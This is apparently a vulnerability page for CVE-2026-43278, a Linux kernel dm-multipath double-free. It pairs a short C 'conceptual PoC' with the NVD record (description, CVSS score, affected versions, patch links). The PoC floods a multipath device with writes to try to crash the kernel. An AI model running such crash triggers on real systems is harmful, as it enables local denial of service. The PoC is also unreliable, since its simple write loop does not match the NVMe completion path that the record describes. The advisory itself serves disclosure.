CVE-2026-43278

/* * Conceptual PoC for CVE-2026-43278 * Triggering the double-free in dm-multipath requires specific I/O patterns. */ #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> void trigger_crash() { // Open a device managed by dm-multipath (e.g., /dev/mapper/mpatha) // This requires the system to be configured with dm-multipath. int fd = open("/dev/mapper/mpatha", O_RDWR); if (fd < 0) { perror("Failed to open device"); return; } printf("[*] Sending I/O requests to trigger UAF condition...\n"); char *buffer = malloc(4096); // Continuous write operations to stress the clone request completion path for (int i = 0; i < 10000; i++) { write(fd, buffer, 4096); } free(buffer); close(fd); // If vulnerable, the kernel may hit a double-free or general protection fault } int main() { trigger_crash(); return 0; }

{"cve": {"id": "CVE-2026-43278", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:49.213", "lastModified": "2026-05-08T19:38:24.763", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndm: clear cloned request bio pointer when last clone bio completes\n\nStale rq->bio values have been observed to cause double-initialization of\ncloned bios in request-based device-mapper targets, leading to\nuse-after-free and double-free scenarios.\n\nOne such case occurs when using dm-multipath on top of a PCIe NVMe\nnamespace, where cloned request bios are freed during\nblk_complete_request(), but rq->bio is left intact. Subsequent clone\nteardown then attempts to free the same bios again via\nblk_rq_unprep_clone().\n\nThe resulting double-free path looks like:\n\n nvme_pci_complete_batch()\n nvme_complete_batch()\n blk_mq_end_request_batch()\n blk_complete_request() // called on a DM clone request\n bio_endio() // first free of all clone bios\n ...\n rq->end_io() // end_clone_request()\n dm_complete_request(tio->orig)\n dm_softirq_done()\n dm_done()\n dm_end_request()\n blk_rq_unprep_clone() // second free of clone bios\n\nFix this by clearing the clone request's bio pointer when the last cloned\nbio completes, ensuring that later teardown paths do not attempt to free\nalready-released bios."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-415"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1", "versionEndExcluding": "6.1.165", "matchCriteriaId": "96EF3286-5BCE-4D88-B8C9-4292E5BA7A18"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.128", "matchCriteriaId": "851E9353-6C09-4CC9-877E-E09DB164A3C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/7daf279c674d515fb22a727a7bbc92aeb35c5442", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/83d72091804600ead96dc9e9f518ea56cb4942f6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8d9ddad561136f7e6a9346767bf97b4d79e38e67", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b1c1a2637ebd675aa2d71fee8c70da8791d73850", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e2e738e8dfbbf83bd2bae0467ec4420cc52da42a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/fb8a6c18fb9a6561f7a15b58b272442b77a242dd", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3d746b639be4b4f5cd8ce2b06aa52dc443f50edc", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9a95b98202113045bc1a5bcb30388a500f25e050", "source": "[email protected]", "tags": ["Patch"]}]}}